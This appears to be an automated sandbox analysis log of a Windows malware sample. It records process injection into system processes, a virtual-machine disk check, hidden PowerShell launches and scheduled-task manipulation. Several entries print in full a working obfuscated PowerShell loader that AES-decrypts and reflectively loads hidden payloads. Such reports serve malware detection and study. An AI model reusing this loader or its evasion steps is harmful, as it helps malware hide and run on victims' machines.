Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1BEB0A00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253DFF90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 22F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2730000

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', ''); Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStream($HdeTZ, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[System.Reflection.Assembly]::Load([byte[]]$yReKm);'.Replace('', ''); Invoke-Expression '$TcvQt=$KyIng.EntryPoint;'.Replace('', ''); Invoke-Expression '$TcvQt.Invoke($null, $VDCUY);'.Replace('', '');}$yFDGP = 'C:\Users\user\Desktop\x.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{6e38c76f-48eb-487e-9cfd-6176ccb652b5}	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', ''); Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStream($HdeTZ, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[System.Reflection.Assembly]::Load([byte[]]$yReKm);'.Replace('', ''); Invoke-Expression '$TcvQt=$KyIng.EntryPoint;'.Replace('', ''); Invoke-Expression '$TcvQt.Invoke($null, $VDCUY);'.Replace('', '');}$yFDGP = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{5004adc4-d516-4ec2-8626-9598e9dad3bc}	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function aqluy($yrekm){ $fiugl=[system.security.cryptography.aes]::create(); $fiugl.mode=[system.security.cryptography.ciphermode]::cbc; $fiugl.padding=[system.security.cryptography.paddingmode]::pkcs7; $fiugl.key=[system.convert]::frombase64string('yeb/naccgrtp64ttdevgddugi9xngfjfk2ndolygp24='); $fiugl.iv=[system.convert]::frombase64string('lhlil9mpoahirlkyn9z7va=='); $exyah=$fiugl.createdecryptor(); $ygvoo=$exyah.transformfinalblock($yrekm, 0, $yrekm.length); $exyah.dispose(); $fiugl.dispose(); $ygvoo;}function mfhoz($yrekm){ invoke-expression '$hdetz=new-object system.io.memorystream(,$yrekm);'.replace('', ''); invoke-expression '$wkyjd=new-object system.io.memorystream;'.replace('', ''); invoke-expression '$odkut=new-object system.io.compression.gzipstream($hdetz, [io.compression.compressionmode]::decompress);'.replace('', ''); $odkut.copyto($wkyjd); $odkut.dispose(); $hdetz.dispose(); $wkyjd.dispose(); $wkyjd.toarray();}function tnqry($yrekm,$vdcuy){ invoke-expression '$kying=[system.reflection.assembly]::load([byte[]]$yrekm);'.replace('', ''); invoke-expression '$tcvqt=$kying.entrypoint;'.replace('', ''); invoke-expression '$tcvqt.invoke($null, $vdcuy);'.replace('', '');}$yfdgp = 'c:\users\user\desktop\x.bat';$host.ui.rawui.windowtitle = $yfdgp;$blpnl=[system.io.file]::readalltext($yfdgp).split([environment]::newline);foreach ($nqzfk in $blpnl) { if ($nqzfk.startswith('tdfvh')) { $zabdo=$nqzfk.substring(5); break; }}$ouiff=[string[]]$zabdo.split('\');invoke-expression '$pcr = mfhoz (aqluy ([convert]::frombase64string($ouiff[0].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$azk = mfhoz (aqluy ([convert]::frombase64string($ouiff[1].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$fem = mfhoz (aqluy ([convert]::frombase64string($ouiff[2].replace("#", "/").replace("@", "a"))));'.replace('', '');tnqry $pcr $null;tnqry $azk $null;tnqry $fem (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function aqluy($yrekm){ $fiugl=[system.security.cryptography.aes]::create(); $fiugl.mode=[system.security.cryptography.ciphermode]::cbc; $fiugl.padding=[system.security.cryptography.paddingmode]::pkcs7; $fiugl.key=[system.convert]::frombase64string('yeb/naccgrtp64ttdevgddugi9xngfjfk2ndolygp24='); $fiugl.iv=[system.convert]::frombase64string('lhlil9mpoahirlkyn9z7va=='); $exyah=$fiugl.createdecryptor(); $ygvoo=$exyah.transformfinalblock($yrekm, 0, $yrekm.length); $exyah.dispose(); $fiugl.dispose(); $ygvoo;}function mfhoz($yrekm){ invoke-expression '$hdetz=new-object system.io.memorystream(,$yrekm);'.replace('', ''); invoke-expression '$wkyjd=new-object system.io.memorystream;'.replace('', ''); invoke-expression '$odkut=new-object system.io.compression.gzipstream($hdetz, [io.compression.compressionmode]::decompress);'.replace('', ''); $odkut.copyto($wkyjd); $odkut.dispose(); $hdetz.dispose(); $wkyjd.dispose(); $wkyjd.toarray();}function tnqry($yrekm,$vdcuy){ invoke-expression '$kying=[system.reflection.assembly]::load([byte[]]$yrekm);'.replace('', ''); invoke-expression '$tcvqt=$kying.entrypoint;'.replace('', ''); invoke-expression '$tcvqt.invoke($null, $vdcuy);'.replace('', '');}$yfdgp = 'c:\windows\$rbx-onimai2\$rbx-co2.bat';$host.ui.rawui.windowtitle = $yfdgp;$blpnl=[system.io.file]::readalltext($yfdgp).split([environment]::newline);foreach ($nqzfk in $blpnl) { if ($nqzfk.startswith('tdfvh')) { $zabdo=$nqzfk.substring(5); break; }}$ouiff=[string[]]$zabdo.split('\');invoke-expression '$pcr = mfhoz (aqluy ([convert]::frombase64string($ouiff[0].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$azk = mfhoz (aqluy ([convert]::frombase64string($ouiff[1].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$fem = mfhoz (aqluy ([convert]::frombase64string($ouiff[2].replace("#", "/").replace("@", "a"))));'.replace('', '');tnqry $pcr $null;tnqry $azk $null;tnqry $fem (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function aqluy($yrekm){ $fiugl=[system.security.cryptography.aes]::create(); $fiugl.mode=[system.security.cryptography.ciphermode]::cbc; $fiugl.padding=[system.security.cryptography.paddingmode]::pkcs7; $fiugl.key=[system.convert]::frombase64string('yeb/naccgrtp64ttdevgddugi9xngfjfk2ndolygp24='); $fiugl.iv=[system.convert]::frombase64string('lhlil9mpoahirlkyn9z7va=='); $exyah=$fiugl.createdecryptor(); $ygvoo=$exyah.transformfinalblock($yrekm, 0, $yrekm.length); $exyah.dispose(); $fiugl.dispose(); $ygvoo;}function mfhoz($yrekm){ invoke-expression '$hdetz=new-object system.io.memorystream(,$yrekm);'.replace('', ''); invoke-expression '$wkyjd=new-object system.io.memorystream;'.replace('', ''); invoke-expression '$odkut=new-object system.io.compression.gzipstream($hdetz, [io.compression.compressionmode]::decompress);'.replace('', ''); $odkut.copyto($wkyjd); $odkut.dispose(); $hdetz.dispose(); $wkyjd.dispose(); $wkyjd.toarray();}function tnqry($yrekm,$vdcuy){ invoke-expression '$kying=[system.reflection.assembly]::load([byte[]]$yrekm);'.replace('', ''); invoke-expression '$tcvqt=$kying.entrypoint;'.replace('', ''); invoke-expression '$tcvqt.invoke($null, $vdcuy);'.replace('', '');}$yfdgp = 'c:\users\user\desktop\x.bat';$host.ui.rawui.windowtitle = $yfdgp;$blpnl=[system.io.file]::readalltext($yfdgp).split([environment]::newline);foreach ($nqzfk in $blpnl) { if ($nqzfk.startswith('tdfvh')) { $zabdo=$nqzfk.substring(5); break; }}$ouiff=[string[]]$zabdo.split('\');invoke-expression '$pcr = mfhoz (aqluy ([convert]::frombase64string($ouiff[0].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$azk = mfhoz (aqluy ([convert]::frombase64string($ouiff[1].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$fem = mfhoz (aqluy ([convert]::frombase64string($ouiff[2].replace("#", "/").replace("@", "a"))));'.replace('', '');tnqry $pcr $null;tnqry $azk $null;tnqry $fem (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function aqluy($yrekm){ $fiugl=[system.security.cryptography.aes]::create(); $fiugl.mode=[system.security.cryptography.ciphermode]::cbc; $fiugl.padding=[system.security.cryptography.paddingmode]::pkcs7; $fiugl.key=[system.convert]::frombase64string('yeb/naccgrtp64ttdevgddugi9xngfjfk2ndolygp24='); $fiugl.iv=[system.convert]::frombase64string('lhlil9mpoahirlkyn9z7va=='); $exyah=$fiugl.createdecryptor(); $ygvoo=$exyah.transformfinalblock($yrekm, 0, $yrekm.length); $exyah.dispose(); $fiugl.dispose(); $ygvoo;}function mfhoz($yrekm){ invoke-expression '$hdetz=new-object system.io.memorystream(,$yrekm);'.replace('', ''); invoke-expression '$wkyjd=new-object system.io.memorystream;'.replace('', ''); invoke-expression '$odkut=new-object system.io.compression.gzipstream($hdetz, [io.compression.compressionmode]::decompress);'.replace('', ''); $odkut.copyto($wkyjd); $odkut.dispose(); $hdetz.dispose(); $wkyjd.dispose(); $wkyjd.toarray();}function tnqry($yrekm,$vdcuy){ invoke-expression '$kying=[system.reflection.assembly]::load([byte[]]$yrekm);'.replace('', ''); invoke-expression '$tcvqt=$kying.entrypoint;'.replace('', ''); invoke-expression '$tcvqt.invoke($null, $vdcuy);'.replace('', '');}$yfdgp = 'c:\windows\$rbx-onimai2\$rbx-co2.bat';$host.ui.rawui.windowtitle = $yfdgp;$blpnl=[system.io.file]::readalltext($yfdgp).split([environment]::newline);foreach ($nqzfk in $blpnl) { if ($nqzfk.startswith('tdfvh')) { $zabdo=$nqzfk.substring(5); break; }}$ouiff=[string[]]$zabdo.split('\');invoke-expression '$pcr = mfhoz (aqluy ([convert]::frombase64string($ouiff[0].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$azk = mfhoz (aqluy ([convert]::frombase64string($ouiff[1].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$fem = mfhoz (aqluy ([convert]::frombase64string($ouiff[2].replace("#", "/").replace("@", "a"))));'.replace('', '');tnqry $pcr $null;tnqry $azk $null;tnqry $fem (,[string[]] (''));	Jump to behavior

Source: C:\Windows\System32\dllhost.exe

Code function: 8_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

8_2_0000000140002300

Source: C:\Windows\System32\dllhost.exe

Code function: 8_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

8_2_0000000140002300

Source: dwm.exe, 0000000E.00000002.2282495409.000002BAA7B6D000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000000E.00000000.2018886592.000002BAA7B6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 00000009.00000000.1989333752.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000002.2326323721.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000E.00000000.2023779101.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000009.00000000.1989333752.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000002.2326323721.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000E.00000000.2023779101.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000009.00000000.1989333752.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000002.2326323721.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000E.00000000.2023779101.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: winlogon.exe, 00000009.00000000.1989333752.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000002.2326323721.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000E.00000000.2023779101.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Windows\System32\winlogon.exe

Code function: 9_3_00000225DC622AF0 cpuid

9_3_00000225DC622AF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\$nya-SgIauazY VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\$nya-SgIauazY VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Queries volume information: C:\Windows\$nya-onimai2\IfMUlU.exe VolumeInformation

Source: C:\Windows\System32\dllhost.exe

Code function: 8_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

8_2_0000000140002300

Source: C:\Windows\System32\winlogon.exe

Code function: 9_2_00000225DC648090 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

9_2_00000225DC648090

Source: dllhost.exe, Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.26.dr

Binary or memory string: MsMpEng.exe

